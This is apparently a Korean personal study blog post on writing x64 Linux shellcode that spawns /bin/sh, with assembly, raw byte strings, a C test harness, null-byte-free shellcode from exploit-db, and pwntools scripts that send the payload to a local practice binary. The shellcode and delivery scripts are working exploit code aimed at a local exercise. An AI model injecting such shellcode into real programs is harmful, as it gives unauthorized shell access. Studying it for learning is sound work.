수호의 메모장
shellcode 정리 본문
execve('/bin/sh', 0, 0);
위 코드를 실행하면 '/bin/sh'이 실행되면서 shell을 획득할 수 있다.
이를 어셈블리어로 작성해보면 아래와 같다:
mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
x64.syscall.sh
System calls for x64
x64.syscall.sh
syscall table은 위 사이트에서 확인이 가능하다.
이를 nasm을 사용하여 object 파일을 만들 수 있다:
objdump로 shellcode를 확인할 수 있다:
shellcode를 실제 C 코드로 실행해보자:
#include <string.h>
#include <sys/mman.h>
char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05";
int main()
{
char* sc = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(sc, shellcode, sizeof(shellcode));
((void(*)())sc)();
return 0;
}
shell이 위와 같이 잘 획득 되어진다.
직접 짠 위의 shellcode의 경우 shellcode에 '00'이 들어가게 된다.
그러나 '00'의 경우 shellcode 주입 대상 시스템에서 이를 null 문자로 인식하여 00이 들어가게 되면 그 하위 문자가 다 잘리는 경우가 발생할 수 있다.
위와 같은 경우 shellcode를 상황에 맞게 커스터마이징 해주거나, 아래와 같은 유용한 사이트가 있다:
https://www.exploit-db.com/shellcodes/46907
Linux/x64 - execve(/bin/sh) Shellcode (23 bytes)
Linux/x64 - execve(/bin/sh) Shellcode (23 bytes) EDB-ID: 46907 CVE: N/A Date: 2019-05-23
www.exploit-db.com
위의 shellcode의 경우 '/bin/sh' 대신 '/bin//sh'를 주어 mov에서 발생하는 널바이트를 방지하고 있다. (/bin/sh와 /bin//sh는 같은 경로 취급이다)
또한 스택에 0x3B를 push 했다가, 바로 pop rax를 함으로써 rax에 0x3B(59)가 들어가도록 하고 있다.
how?
push 0x3B는
sub rsp,0x8
mov [rsp],0x3B
와 같고
pop rax는
mov rax,[rsp]
add rsp,8
과 같기 때문이다
다음으로 rdx의 초기화를 cltd로 수행하고 있는데,
cltd는 EAX의 값을 EDX:EAX로 sign-extend 해주는 값이다.
앞선 코드들로 인해서 EAX에는 0x3B가 들어가 있기 때문에 EDX는 0이 된다.
위와 같은 프로그램이 존재한다고 하자.
pwntools를 사용하여 손쉽게 shellcode를 넘길 수 있다:
from pwn import *
context.arch = 'amd64'
p = process('./i')
shellcode = ""
shellcode = shellcraft.execve('/bin/sh')
print(shellcode)
print(asm(shellcode))
p.send(asm(shellcode))
p.interactive()
shellcraft를 사용한 방법
from pwn import *
context.arch = 'amd64'
p = process('./i')
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
p.send(shellcode)
p.interactive()
shellcode를 사용한 방법
from pwn import *
context.arch = 'amd64'
p = process('./i')
assembly = """
mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
"""
shellcode = asm(assembly)
p.send(shellcode)
p.interactive()
어셈블리를 사용한 방법
'Security > System Hacking' 카테고리의 다른 글
[KUCC 정뾰세션] BOF 과제 (2) | 2023.11.11 |
---|